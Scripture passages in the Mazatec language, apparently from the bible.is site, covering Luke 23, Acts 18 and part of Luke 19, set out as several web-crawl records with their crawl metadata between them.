César ra xi̱ta̱xá ítjòn tíjna Roma; ko̱ 'koa̱á ti̱'sín tsò‑te nga jè‑ró ra Cristo [ra xá isìkasén‑ni Nainá] nga xi̱ta̱xá ítjòn kíjna. 3Jè Pilato iskonangi‑la̱, kitsò‑la̱: ―¿A ji̱‑ní ra xi̱ta̱xá títjòn‑la̱ xi̱ta̱ Judío? Kitsó Jesús: ―Ji̱í ra ko̱'sín tjisi. 4Pilato kitsó‑la̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ na̱xi̱ndá: ―Ni̱mé jé ra matsji‑na a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱. 5Tanga jñà xi̱ta̱ isa̱á 'ñó kiìchja̱ nga tsakángi, kitsò: ―Koni 'sín bakón‑ya ta kjo̱sií tíbátsji‑la̱ xi̱ta̱ na̱xi̱ndá‑ná. Tsikí'tsia̱ kjòn‑ni ya̱ nangi Galilea, ko̱ nga tíjngo Judea, skanda i̱ Jerusalén. 6'Kia̱ nga kií'nchré Pilato 'én ra tsò, Galilea, iskonangií‑la̱ xi̱ta̱, ¿a ya̱á i̱'nde‑la̱? 7'Kia̱ nga ki'sena̱jmí‑la̱ nga ya̱ i̱'nde‑la̱, isìkasén‑la̱ jè ra tíjna xi̱ta̱xá ítjòn ya̱ Galilea, jè ra 'mì Herodes; jñà ni̱chjin kìi̱, ti̱'koa̱á ya̱á tíjna ya̱ na̱xi̱ndá Jerusalén. 8Herodes, 'kia̱ nga kijtse Jesús, 'ñó tsja ki'se‑la̱, nga̱ kjotseé mejèn‑la̱ nga ske̱xkon, nga̱ ijyeé kjìn kjoa̱ ki'sena̱jmí‑la̱ ra a̱'ta 'tse̱ Jesús. Mején‑la̱ ske̱ jngo kjo̱xkón ra 'sín. 9Kjín sko̱ya kjoa̱ iskonangi‑la̱; tanga jè Jesús, ni̱jngo 'én kiìchja̱. 10Ya̱á tjítsa̱jna‑te xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, nga 'ñó i̱nchibángi. 11Jè Herodes, ko̱ jñà chíchàn‑la̱, tsachrjengi‑ní; ta kjoa̱á kijtsetákon; isíkáya nikje ra 'ñó nda kjòn koni 'tse̱ xi̱ta̱xá ítjòn nga isìsobà‑la̱; a̱kjòn isìkasén ìjngo 'ká‑ila̱ jè Pilato. 12Ni̱chjin 'kia̱, tsajo̱ónda‑ni jè Pilato ko̱ Herodes; 'kia̱ nga 'sa̱ ítjòn, kondra̱á tjítsa̱jna‑la̱ xákjén. 13Jè Pilato tsikíxkóya jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, xi̱ta̱xá, ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá, 14kitsò‑la̱: ―Jiòn, inikasén‑ná jè xi̱ta̱ ra̱kìi̱ nga fangioò, nga bixó: kjo̱sií bátsji‑la̱ xi̱ta̱ na̱xi̱ndá. Ko̱ ískonangií‑la̱ ya̱ ngixkòn. Nga'tsì 'én ra fanè‑la, ni̱mé jé sakó‑na ra a̱'ta 'tse̱. 15'Jè Herodes, ti̱'koa̱á isìkasén india‑na jè xi̱ta̱ ra̱kìi̱, nga ni̱mé jé isakò‑te‑la̱ ra a̱'ta 'tse̱. Mì tsa mé jé tjín‑la̱; mì kì bakèn‑la̱ nga ki̱yá. 16Tsjaá‑la̱ kjo̱hi'in, a̱kjòn síkíjnandi̱í‑na. 17'Koa̱á 'sín tjínè‑la̱, 'kia̱ nga bitjo 'sí paxko̱, bijnandi̱í jngo‑ni xi̱ta̱ ra nda̱yá tjítsa̱'ya. 18Tanga jñà xi̱ta̱ na̱xi̱ndá, jngoó jta̱ kijì nga'tsiòo̱, kitsò: ―¡Katiya Jesús; jè Barrabás ti̱kíjnandi̱í‑róoi̱! 19Barrabás, nda̱yá tíjna'ya tà nga̱tjì‑la̱ nga xi̱ta̱ na̱xi̱ndá Jerusalén isìkjaán‑kjo ti̱'koa̱ jngo xi̱ta̱ isì'ken. 20Pilato, mején‑la̱ nga si̱ìkíjnandi̱í‑ni Jesús; kiìchja̱á india‑ila̱ xi̱ta̱ na̱xi̱ndá. 21Tanga jñà xi̱ta̱ na̱xi̱ndá ta isa̱á 'ñó kiìchja̱‑isa, nga kitsò: ―¡Krò katasi'ta‑róoi̱! ¡Krò katasi'ta‑róoi̱! 22Ra ma‑ni jàn 'ka̱ kitsó‑la̱ xi̱ta̱ na̱xi̱ndá: ―¿Mé kjoa̱ ra ta̱ 'cho ki'sìn kjòn jè xi̱ta̱ ra̱kìi̱? 'A̱n, ni̱mé jé sakó‑na ra a̱'ta 'tse̱, ra bakèn‑la̱ nga ki̱yá. Ti̱'koa̱á‑ni tsja‑la̱ kjo̱hi'in, a̱kjòn síkíjnandi̱í‑na. 23'Ñó si ki'sìn jñà xi̱ta̱; 'ñó kiìchja̱ nga mejèn‑la̱ krò katasi'ta Jesús. Tà nga̱tjì‑la̱ nga 'ñó kiìchja̱ nga'tsì xi̱ta̱ ko̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, isikijne‑ní. 24Jè Pilato kitsjá kjo̱hixi̱ nga katitjasòn koni 'sín isíjé xi̱ta̱ na̱xi̱ndá. 25Jè isíkíjnandi̱í‑ní jè xi̱ta̱ ra isíjé na̱xi̱ndá, jè ra 'mì Barrabás ra nda̱yá tíjna'ya nga kjo̱si tsakátsji ko̱ xi̱ta̱ isì'ken. A̱kjòn isìnga̱tsja Jesús nga ko̱'sín katasíko̱ koni 'sín mejèn‑la̱ ra jñà. 26'Kia̱ nga kiìko̱ Jesús nga kiì ká'ta krò, itsabá'ñó jngo xi̱ta̱ ra 'mì Simón ra ya̱ i̱'nde‑la̱ ñánda̱ 'mì Cirene ra 'kia̱ chi̱ba̱‑la̱ tí'faha'sen‑jin na̱xi̱ndá; jè isì'kamijìn krò nga kijì ya̱ a̱jto̱n í'tsi̱n Jesús. 27Kjín xi̱ta̱ na̱xi̱ndá, ko̱ kjín íchjín tje̱n‑ngi‑la̱ Jesús ra kjindáyake nga mahi̱ma̱ke kjoa̱ ra tíma'tin. 28Jesús, isíkáfa‑ní, iskotsíjen‑la̱, kitsò‑la̱: ―Jiòn ndí íchjín ra ya̱ Jerusalén tsa̱jiòn, kì tà chjàn 'a̱n chindáyacha‑ná, jè chjíndáyacha ijo‑no ko̱ i̱xti‑no. 29Nga̱ ki̱jchò ni̱chjin nga tse kjo̱hi'in 'se̱, nga ki̱tso̱ xi̱ta̱: \"Mé ta̱ nda‑la̱ jñà ra íchjín 'ndi̱, jñà ra mì tsa i̱xti ki'se‑la̱, ko̱ jñà ra mì i̱xti isìkaki.\" 30A̱kjòn ki̱ì'tsia̱ jñà xi̱ta̱ nga ki̱tso̱‑la̱ jñà nindo: \"¡Katakané‑náji̱n!\" Ko̱ ki̱tso̱‑la̱ jñà chrja̱ngi̱‑la̱ nindo: \"¡Tìjtsahi'nde‑náji̱n!\" 31Ra 'a̱n, koni jngo yá xkén, 'ñó 'cho síko̱‑ná xi̱ta̱; jiòn ra xi̱ta̱ Jerusalén, ra koni jngo tsa yá kixì, isa̱á tà 'ñó 'cho si̱ìko̱‑no xi̱ta̱. 32Ti̱'koa̱ kiìko̱ó jò‑te xi̱ta̱ ra 'ñó tse jé tjín‑la̱ ra ti̱'koa̱ ya̱ ki̱yá'ta‑te krò. 33'Kia̱ nga ijchòko̱ ya̱ i̱'nde ra 'mì I̱'nde Sko̱ Mi'ken, tsaká'ta krò Jesús ko̱ tsaká'ta‑te xi̱ta̱ ra jò ma‑ni ra 'ñó tse jé tjín‑la̱; jngo tsasíjna ya̱ ngakixi̱‑la̱, ko̱ jngo tsasíjna ya̱ ngaskoán‑la̱. 34'Kia̱á kitsò Jesús: ―Na̱'ìn, ti̱jchaà'ta‑la̱ ji̱; nga mì kì be mé kjoa̱ ra i̱nchi'sín jñà xi̱ta̱ kìi̱. A̱kjòn jñà chíchàn isíská chi̱ya nga isìka'bí‑la̱ xákjén nikje‑la̱. 35Jñà xi̱ta̱ na̱xi̱ndá i̱nchikotsíjen‑la̱; ti̱'koa̱á jñà xi̱ta̱xá ítjòn, i̱nchisísobá‑la̱: ―Jñà xi̱ta̱ ra kj'ií, maá tsachrjetjì kjo̱hi'in; tsa kixi̱ kjoa̱ nga jè ra Cristo, jè ra xá ko̱'sín jahíjin‑ni Nainá, katachrjetjì kjo̱hi'in ijo‑la̱ 'ndi̱‑ni̱. 36Jñà chíchàn ti̱'koa̱á isìsobà‑te‑la̱ Jesús. Ijchò kincha'ta chraña‑la̱, kitsjá‑la̱ nandá binagre̱ nga isì'ki. 37Kitsò‑la̱: ―¡Tsa ji̱‑ní ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío, ti̱kíjnandi̱í‑ni ijo‑li! 38Ko̱ jngo íte isi'ta ya̱ sko̱ krò ra tjí'ta 'én ra tsò: \"Jé ra̱kìi̱ ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío\"; nga 'én griego, 'én latín, ko̱ 'én hebreo tíchja̱. 39Jngo xi̱ta̱ ra ya̱ kji'ta‑te krò ra 'ñó tse jé tjín‑la̱, 'ñó 'nga tsakáko̱ Jesús, kitsò‑la̱: ―¡Tsa ji̱‑ní ra Cristo [ra xá isìkasén‑li Nainá], ti̱kíjnandi̱í‑ni ijo‑li, ti̱'koa̱ 'sín ti̱kítsa̱jnandi̱í‑náji̱n! 40Jè xi̱ta̱ ra ìjngo tsakátiko̱‑ní, kitsò‑la̱: ―¿A mí skon‑la̱ ji̱ Nainá nga ngásòn kjo̱hi'in i̱nchinikjieén? 41Ra kjo̱hixi̱, bakén‑ná ra jién nga si̱kjieén kjo̱hi'in nga kíchjí‑ná jé‑ná, tà nga̱tjì‑la̱ nga 'ñó 'cho ki'nié; tanga jè xi̱ta̱ ra̱kìi̱, ni̱mé kjoa̱ ki'sìn ra 'cho tjín. 42'Kia̱á kitsò‑isa: ―Jesús, kì niìjchaàjin‑ná 'kia̱ nga ijye kí'tsi̱i nga ko̱te̱xomi. 43'Kia̱á kitsò Jesús: ―'Koa̱á xín kixi̱‑la; 'ndi̱ 'ndi̱, ya̱á ki̱jnako̱‑ná ya̱ ngajmi ya̱ i̱'nde ñánda̱ 'ñó nda chon. 44'Kia̱ nga ijchò nchisen, skanda nga ijchò las tres, kjojñó‑ní nga tíjngo i̱sà'nde. 45Kjojñó jè tsá'bí, ko̱ jè nikje ra tja̱'báya ya̱ nga masen‑la̱ i̱ngo̱ ítjòn, jòya kjomà nga ichrjajndá. 46Jesús 'ñó kiìchja̱, nga kitsò: ―¡Na̱'ìn, ya̱á tíbijnáya ndsi̱i jè inìma̱‑na̱! 'Kia̱ nga ijye ko̱kitsò, a̱kjòn 'ken. 47Jè xi̱ta̱ ítjòn‑la̱ chíchàn, 'kia̱ nga kijtse kjoa̱ kìi̱ koni 'sín kjomà, 'ngaá isíkíjna Nainá, kitsò: ―Ngi kixi̱ kitií kjoa̱, jè xi̱ta̱ ra̱kìi̱, xi̱ta̱ kixi̱‑ní. 48Nga'tsì xi̱ta̱ ra kjóxkó ra kiì katsíjen‑la̱, 'kia̱ nga ijye kijtse kjoa̱ ra kjomà, kijí‑ni ni'ya‑la̱; 'béjin inìma̱‑la̱ ta nga̱tjì‑la̱ nga 'ñó tse kjo̱ba tjíjin. 49Nga'tsì xi̱ta̱ ra bexkon Jesús ko̱ íchjín ra tsikima'ta‑la̱ ra inchrabà‑ni skanda ya̱ Galilea, kjiín tsikitsa̱jna‑ni nga i̱nchikotsíjen‑la̱. 50Jngo xi̱ta̱ tíjna ra 'mì José ra 'ñó nda xi̱ta̱, ti̱'koa̱á xi̱ta̱ kixi̱‑ní. Ya̱á i̱'nde‑la̱ ya̱ ñánda̱ 'mì Arimatea, na̱xi̱ndá ra chja̱‑ni Judea. Jngoó xi̱ta̱ ra ti̱'koa̱á xá tjín‑la̱ 'tse̱ xi̱ta̱xá‑la̱ xi̱ta̱ judío. 51Jè José, tíkoñá‑te‑la̱ nga mejèn‑la̱ ske̱ kó'sín batéxoma Nainá; mì kì isasèn‑la̱ koni 'sín tsajo̱óya‑ni jñà xi̱ta̱xá xákjén ko̱ koni 'sín ki'sìn. 52Kiìjkon jè Pilato nga isíjé‑la̱ ijo‑la̱ Jesús. 53Tsaje̱n'ta ya̱ a̱'ta krò; isíkájté jngo nikje chroba; a̱kjòn ya̱á kiì kíhijin ya̱ ñánda̱ xá ko̱'sín itjá'xa̱‑ni na̱xi̱ nga nga̱jo̱‑la̱ mi'ken. Ya̱ nga̱jo̱ ra̱kìi̱, ni̱ sa jngo mi'ken ya̱ sijna. 54Jè ni̱chjin 'kia̱, 'kia̱‑ní nga bìtsa̱jnanda xi̱ta̱ ra a̱'ta 'tse̱ 'sí paxko̱; ijyeé kja̱me bijchó chi̱ba̱‑la̱ nga ma'tsia̱ jè ni̱chjin níkjáya. 55Jñà íchjín ra inchrabà‑ni Galilea, kijí‑te ya̱ ñánda̱ tíjna jè nga̱jo̱‑la̱ mi'ken; ko̱ xko̱ón kijtse‑ni kó'sín isijna ijo‑la̱ Jesús. 56'Kia̱ 'ji‑ni ni'ya‑la̱ tsikínda sihìti̱ ko̱ chijo xka̱ ra 'ñó nda jne̱. A̱kjòn isíkjáya jè ni̱chjin níkjáya koni 'sín tíchja̱ kjo̱téxoma.\nSan Lucas 23","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/23","date":"2013-12-11T18:21:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164041513\/warc\/CC-MAIN-20131204133401-00004-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":1166,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye komà i̱skan, Pablo itjojiìn Atenas, kiì Corinto. 2Ya̱á kiskaàkjoò jñà xi̱ta̱ judío xi 'mì Aquila ko̱ chjo̱ón‑la̱ xi 'mì Priscila. Ján nangui‑la̱ ñánda 'mì Ponto. Sà ta̱ k'e̱é j'iì‑ne nangui Italia koií kjoa̱‑la̱ nga jè Claudio xi xi̱ta̱ sko̱‑la̱ tsachrje kjo̱tíxoma nga ngats'iì xi̱ta̱ judío ki̱tjokàjiìn na̱xa̱ndá ítjòn xi 'mì Roma. Pablo kiìkon jñà xi̱ta̱ koi. 3Jñà xi̱ta̱ koi, ti̱koa̱á koií xá s'ín jè xá xi s'ín Pablo nga ni'ya nikje bíndaà. Ya̱á tsibìjnako̱ nga kisìxákjoò. 4Nga jiìn jiìn na̱chrjein, k'e̱ nga na̱chrjein nìkjáya, Pablo fì ya̱ ni'ya i̱ngo̱ sinagoga nga fì káko̱ jñà xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío nga kàtakjeiín‑la̱. 5K'e̱ nga j'iì‑ne Macedonia, jè Silas ko̱ Timoteo, jè Pablo nguì koií xá kis'iìn nga tsibéno̱jmí‑la̱ 'én‑la̱ Nainá jñà xi̱ta̱ judío. Kitsò‑la̱ nga jè Jesús, jè xi Cristo [xi xó kinìkasén‑ne]. 6Ta̱nga jñà xi̱ta̱ judío, tà kondra̱á kiì‑la̱ Pablo koa̱ kiìchja̱jno‑la̱; k'oa̱á s'ín komà‑ne jè Pablo tsibítsa̱jne nikje‑la̱ xi kondra̱ ts'e̱ xi̱ta̱ koi, [jè kjoa̱ xi okó nga kjo̱'in s'e̱‑la̱ i̱t'aà ts'e̱ Nainá], kitsò‑la̱: ―Jé tsa̱jòn‑nó tsà mìkiì mokjeiín‑nò; 'a̱n jye kisìkitasoàn nga tsibeno̱jmí‑nò 'én. I̱'ndei̱, jñà tìfìkeno̱jmí‑la̱ jñà xi mìtsà xi̱ta̱ judío. 7Pablo, itjo ni'ya i̱ngo̱ sinagoga; kiì jngoò ni'ya‑la̱ xi̱ta̱ xi ya̱ chrañàt'aà tíjna xi 'mì Ticio Justo xi ndaà beèxkón Nainá. 8Crispo, jè xi xi̱ta̱ ítjòn‑la̱ ni'ya i̱ngo̱ sinagoga, kòkjeiín‑la̱ 'én‑la̱ Nainá, ngats'iì xi xi̱ta̱ ni'ya‑la̱; ti̱koa̱á kjìn xi̱ta̱ Corinto xi kiì'nchré 'én xi tsakóya Pablo kòkjeiín‑la̱, i̱kjoàn komà bautizar. 9Jngoò ni̱tje̱n jè Pablo, k'oa̱á komà‑la̱ koni tsà nijñá kits'iì‑la̱; Na̱'èn‑ná kiìchja̱‑la̱, kitsò‑la̱: ―Kì jyò bijni, ko̱ kì tsakjoòn‑jèn, ti̱nókjoa̱‑né. 10Mì yá xi̱ta̱ kó si̱ìko̱‑lè, 'a̱án tìjna̱ko̱‑lè; i̱'nde jè, kjìn ma xi xi̱ta̱ ts'a̱n ma. 11Pablo, jngoò nó osen tsibìjna Corinto nga tsakóya 'én‑la̱ Nainá. 12K'e̱ nga xi̱ta̱xá gobernador tsibìjna jè xi 'mì Galión ya̱ i̱'nde Acaya, jñà xi̱ta̱ judío tsajoóya‑ne nga kitsobà'ñó Pablo; kiìko̱ ni'ya osen mé‑ne nga kisindaàjiìn‑la̱. 13Kitsò‑la̱ jè xi̱ta̱xá xi gobernador tíjna: ―Xi̱ta̱ jè na̱xa̱ndá tíbinchá'a nga kj'ei̱í s'ín beèxkón Nainá; mì k'oa̱á s'ín koni s'ín tjín kjo̱tíxoma ts'e̱ Roma. 14K'e̱ nga mejèn kiìchja̱ Pablo, jè Galión kitsò‑la̱ xi̱ta̱ judío: ―Tsà jngoò kjoa̱ xi tse tjín ko̱ 'in tjín, tjínè‑la̱ nga 'a̱n kíndaàjñaà; 15ta̱nga tà 'én‑né, tà kjo̱tíxoma tsa̱jòn‑nò; tà jñò tìndaàjñoò; 'a̱n mìkiì skongájñaà kjoa̱ koi. 16I̱kjoàn tsachrje ni'ya osen. 17Ngats'iì xi̱ta̱ griego kitsobà'ñó jè xi̱ta̱ ítjòn ts'e̱ ni'ya i̱ngo̱ sinagoga, jè xi 'mì Sóstenes. Kiskaàn‑ko̱ ya̱ ni'ya osen nga nguixko̱n xi̱ta̱xá. Ta̱nga jè xi̱ta̱xá Galión, mìkiì kisìs'in‑la̱. 18Pablo, kjìn na̱chrjein tsibìjna ìsa̱ ya̱ Corinto. I̱skan kisìhixat'aà jñà xi̱ta̱ 'ndse̱, kiì‑ne Siria. Tsobáhijtako̱ Priscila ko̱ Aquila. Ya̱ Cencrea tsibíjno‑la̱ sko̱ koni jngoò chi̱ba̱ xi okó nga jye kisìkitasòn koni s'ín kitsjaà‑la̱ tso'ba Nainá. 19K'e̱ nga ijchò Éfeso, ya̱á tsibìtsa̱jna Priscila ko̱ Aquila. Pablo, ján kiì ni'ya i̱ngo̱ sinagoga nga tsajoókjoò jñà xi̱ta̱ judío xi ya̱ bixoña. 20Jñà xi̱ta̱ koi tsibítsi'ba‑la̱ Pablo nga ìsa̱ kjìn na̱chrjein kàtìjnako̱, ta̱nga Pablo, mìkiì kòkjeiín‑la̱. 21Kisìhixat'aà xi̱ta̱ xíkjín kitsò‑la̱: ―Tsà Nainá mejèn‑la̱, i̱skan kjoi̱kon ìjngoò k'a‑nò. I̱kjoàn tsibìjnaya chitso nga kiì. 22K'e̱ nga ijchò Cesarea, kiì ján Jerusalén nga kisìhixat'aà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. I̱kjoàn kiì skanda Antioquía. 23Kjìn na̱chrjein tsibìjna Antioquía; i̱skan kiì kóho̱kji i̱'nde Galacia ko̱ Frigia. Kisì'ñó ikon ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo. 24Ya̱ Éfeso ijchò jngoò xi̱ta̱ judío xi 'mì Apolos xi ján i̱'nde‑la̱ Alejandría, jngoò xi̱ta̱ xi 'ñó ndaà ma‑la̱ chja̱ya. Ndaà tíjiìn‑la̱ i̱t'aà ts'e̱ Xo̱jo̱n‑la̱ Nainá. 25Jè Apolos, xó kiskoòta'yà‑ne ndi̱yá‑la̱ Nainá; 'ñó tsja beè‑la̱ ini̱ma̱‑la̱ nga nguì kixi̱í chja̱ya ti̱koa̱á tsakóya i̱t'aà ts'e̱ Jesús; jé kjoa̱ ts'e̱ bautismo na̱s'ín tà jè tíjiìn‑la̱ ts'e̱ Juan. 26Apolos, 'ñó tjín ikon nga kiìchja̱ ya̱ ni'ya i̱ngo̱ sinagoga. K'e̱ nga kiì'nchré jè Priscila ko̱ Aquila, i̱t'aà xìn kiìko̱ nga ìsa̱ kixi̱ tsakóya‑la̱ ndi̱yá‑la̱ Nainá. 27Apolos, k'e̱ nga kjòmejèn‑la̱ kiì ján i̱'nde Acaya, ngats'iì xi̱ta̱‑la̱ Cristo kisì'ñó ikon nga komà kiì. I̱kjoàn kiskiì jngoò‑la̱ xo̱jo̱n jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi títsa̱jna ján i̱'nde Acaya nga skoétjò jè Apolos k'e̱ nga ki̱jchò. K'e̱ nga ijchò Acaya, 'ñó ndaà tsasìko̱ jñà xi̱ta̱ xi kitsjaà‑la̱ kjo̱ndaà Nainá nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo. 28Apolos, 'ñó ndaà tsajoókjoò jñà xi̱ta̱ judío ya̱ nguixko̱n na̱xa̱ndá nga kisìkítsa̱jnajyò nga i̱t'aà ts'e̱ Xo̱jo̱n‑la̱ Nainá, nguì ndaà tsakó‑la̱ nga jè Jesús, jè xi Cristo [xi xó kinìkasén‑ne].\nHechos 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/18","date":"2013-12-13T15:55:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164959491\/warc\/CC-MAIN-20131204134919-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":690,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús k'e̱ nga ijchò na̱xa̱ndá Jericó, tsibíts'ia̱ nga jahas'en‑jiìn na̱xa̱ndá. 2Ya̱ tíjna jngoò xi̱ta̱ xi 'mì Zaqueo xi xi̱ta̱ sko̱‑la̱ jñà xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì; ti̱koa̱ 'ñó xi̱ta̱ nchi̱ná. 3Mejèn‑la̱ nga skoe̱xkon yá‑né xi 'mì Jesús; ta̱nga mìkiì ma kotsejèn‑la̱ nga kjìn ma‑ne xi̱ta̱, nga jtobá kji Zaqueo. 4K'e̱é tsangachikon ítjòn, i̱kjoàn tsijin‑jno jngoò yá sicómoro nga mejèn‑la̱ skoe̱xkon Jesús koni s'ín kjoa̱hato. 5K'e̱ nga jahaya ndi̱yá Jesús, kiskoòtsejèn mijìn k'oa̱ kijtseèxkon Zaqueo nga ya̱ tíjna'a yá; kitsò‑la̱: ―Zaqueo, ni̱to̱ón tita̱ji̱in, i̱'ndei̱ mochjeén‑né nga ya̱ siìkjáya ni'ya‑lè. 6Zaqueo, ni̱to̱ón tsitajen. Tsjaá komà‑la̱ nga kitsjaà'nde‑la̱ ni'ya‑la̱. 7Jñà xi̱ta̱ k'e̱ nga kijtseè nga ya̱ kisìkjáya ni'ya‑la̱ Zaqueo, tsibíts'ia̱ nga kiìchja̱jno‑la̱ Jesús; kitsò nga ya̱ kisìkjáya ni'ya‑la̱ xi̱ta̱ xi jé tjín‑la̱. 8K'e̱é tsasìjna kixi̱ Zaqueo, kitsò: ―Na̱'èn, osen tsojmì xi tjín‑na tsjaà‑la̱ xi̱ta̱ i̱ma̱; koa̱ tsà tjín xi̱ta̱ xi 'a̱n kiskoòna̱cha̱an‑la̱, ñijòn k'a ko̱kji tsjaà ngajo‑la̱. 9Jesús kitsò‑la̱: ―Ngats'iì xi̱ta̱ nei‑la̱ ni'ya jè, na̱chrjein i̱'ndei̱, jyeé kòbitjokàjiìn kjoa̱ ts'e̱ jé‑la̱, koií kjoa̱‑la̱ nga k'oa̱s'ín mokjeiín‑la̱ Zaqueo koni jè xi̱ta̱ jchínga‑la̱ Abraham. 10''A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, koií xá j'i̱‑na nga j'i̱ katsjià xi̱ta̱ xi kichijà, ti̱koa̱ j'i̱ kàchrjekàjñaà jé‑la̱ xi̱ta̱. 11Jñà xi̱ta̱, k'e̱ nga nchi'nchré‑la̱ Jesús, koni s'ín tíbéno̱jmí kjoa̱ koi, k'oa̱á s'ín kisìkítsjeèn nga ya̱á koi̱ìts'ia̱ ni̱to̱n nga ko̱tìxoma Nainá; nga jè Jesús, jyeé kjo̱meè bijchó chrañà Jerusalén. Koií kjoa̱‑la̱, Jesús, tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn nga mìtsà k'oa̱s'ín ko̱ma. 12Kitsò‑la̱: ―Jngoò k'a, jngoò xi̱ta̱ xi tje̱‑la̱ xi̱ta̱ ítjòn kiì jngoò nangui ñánda 'ñó kjiìn nga tjoé‑la̱ xá ítjòn, i̱kjoàn kji̱nchrobà‑ne k'e̱ nga jye tjoé‑la̱ xá. 13Ta̱nga k'e̱ nga ti̱kj'eè bitjo xi̱ta̱ jè, te xi̱ta̱ chi̱'nda‑la̱ kiìchja̱‑la̱ nga tse to̱n kisìnga̱tsja nga jngoò ìjngoò; kitsò‑la̱: \"Chjoé to̱n koi, ti̱xáko̱o skanda k'e̱ nga kjoi̱‑na.\" 14Ta̱nga jñà xi̱ta̱ xi ti̱ya̱‑ne na̱xa̱ndá‑la̱ nga jtikeè komà, kisìkasén‑tji̱ngui i'nga‑la̱ xi̱ta̱ xi kitsò‑la̱ xi̱ta̱xá ítjòn: \"Majìn‑naje̱n nga jè xi̱ta̱xá jè ko̱tìxoma‑naje̱n.\" 15'Ta̱nga jè xi̱ta̱ jè, k'e̱ nga jye kitjoé‑la̱ xá, j'iì ìjngoò k'a‑ne nangui‑la̱. I̱kjoàn kiìchja̱‑la̱ ngats'iì xi̱ta̱ chi̱'nda‑la̱ xi kisìnga̱tsja to̱n mé‑ne nga skoe̱ kó tjín kisìkijne ki'ndí‑la̱ jè to̱n xi kisìnga̱tsja nga jngoò ìjngoò. 16Jè xi̱ta̱ xi j'iì ítjòn kitsò: \"Na̱'èn, to̱n‑lè xi kinìnga̱tsja‑ná, te k'a o̱kji kisìkijnesòn ki'ndí‑la̱.\" 17Jè xi̱ta̱xá ítjòn kitsò‑la̱: \"Ndaà tjín; ngaji̱, chi̱'nda ndaà‑né; ndaà kinìkjiín to̱n xi chiba kjònga̱tsjei; i̱'ndei̱, te na̱xa̱ndá sìnga̱tsja‑lè xi ji̱ ko̱ti̱xoma‑la̱.\" 18Ijchò ìjngoò xi ma‑ne jò chi̱'nda, kitsò: \"Na̱'èn, to̱n‑lè xi kinìnga̱tsja‑ná, 'òn k'a o̱kji kisìkijnesòn ki'ndí‑la̱.\" 19Jè xi̱ta̱xá ítjòn kitsò: \"Ti̱koa̱á ngaji̱, 'òn na̱xa̱ndá sìnga̱tsja‑lè xi ji̱ ko̱ti̱xoma‑la̱.\" 20'J'iì ìjngoò xi kitsò: \"Na̱'èn, i̱ tíjna to̱n‑lè xi kinìnga̱tsja‑ná. Ndaà tsibìtjoà; pahìto̱ tsibìjté'ñoá. 21Kitsakjoón‑lè; ngaji̱, xi̱ta̱ jti‑takòn‑né; chjoí xi mì ngaji̱í tsibìjni ti̱koa̱ bìxkoí xi mì ngaji̱ tsibìtji̱i.\" 22Jè xi̱ta̱xá ítjòn kitsò: \"Ngaji̱ xi chi̱'nda ch'o 'mì‑lè; ti̱jè‑ne 'én xi nokjoì si̱nè‑lè jé, nga si: xi̱ta̱ jti‑takòn‑né; chjoí xi mì ngaji̱ tsibìjni ti̱koa̱ bìxkoí xi mì ngaji̱ tsibìtji̱i. 23Tsà jye tíjiìn‑lè, ¿mé‑ne mì ya̱á kinìkíjna‑ne to̱n‑na̱ ya̱ banco nga kisìkijnesòn ki'ndí‑la̱ mé‑ne k'e̱ nga kjoi̱ ìjngoò k'a‑na si̱nga̱tsja‑ná to̱n‑na̱?\" 24K'e̱é kitsò‑la̱ jñà xi̱ta̱ xi ya̱ títsa̱jna: \"Chja̱à'an‑là to̱n; jè tjiì‑là xi̱ta̱ xi te k'a kisìkijnesòn.\" 25Jñà xi̱ta̱ xi o̱ki'mì‑la̱ kitsò: \"Na̱'èn, ¡xi̱ta̱ jè, jyeé kò te k'a ko̱tjín tjín‑la̱!\" 26Jè xi̱ta̱xá ítjòn kitsò: \"K'oa̱á xán‑nò, ngats'iì xi tjín‑la̱, k'oi̱í‑ìsa‑la̱; ta̱nga jè xi tsjìn‑la̱, skanda tjá'aán‑la̱ mé xi chiba tjín‑la̱. 27Ti̱koa̱ jñà xi̱ta̱ kondra̱‑na̱ xi majìn‑la̱ nga 'a̱n kotiìxoma‑la̱, nchrohóko̱‑ná i̱jndé, ti̱k'eèn nga nguixkoaàn.\" 28K'e̱ nga jye o̱kitsò Jesús, kiì ítjòn‑la̱ 